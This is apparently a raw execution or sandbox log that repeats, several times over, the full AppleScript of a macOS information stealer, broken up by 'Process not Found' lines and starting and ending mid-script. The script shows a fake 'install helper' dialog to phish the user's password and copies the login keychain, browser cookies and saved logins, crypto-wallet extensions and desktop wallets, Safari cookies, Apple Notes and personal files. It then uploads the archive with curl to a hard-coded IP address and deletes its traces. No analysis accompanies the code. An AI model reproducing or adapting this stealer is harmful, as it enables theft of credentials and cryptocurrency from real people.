bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)" Process not Found sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType" Process not Found osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)" Process not Found sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType" Process not Found sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'" Process not Found osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & 